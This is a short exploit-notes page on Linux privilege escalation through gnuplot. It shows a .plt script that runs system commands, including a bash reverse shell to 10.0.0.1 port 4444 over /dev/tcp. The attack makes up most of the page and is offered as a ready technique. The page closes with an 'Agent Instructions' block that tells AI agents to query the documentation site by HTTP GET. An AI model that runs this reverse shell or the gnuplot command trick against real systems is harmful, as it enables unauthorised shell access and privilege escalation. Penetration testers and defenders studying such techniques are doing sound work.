# Gnuplot Privilege Escalation

### [Command Execution](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/gnuplot-privilege-escalation/#command-execution) <a href="#command-execution" id="command-execution"></a>

The script file of **`gnuplot`** can be used to execute system commands as below.

```bash
gnuplot test.plt
Copied!
```

Contents of the **`.plt`** is like the following.

```bash
system "whoami"

# Reverse shell
system "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
Copied!
```

### References

* <http://gnuplot.info/docs_5.5/loc18483.html>

<br>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/gnuplot-privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
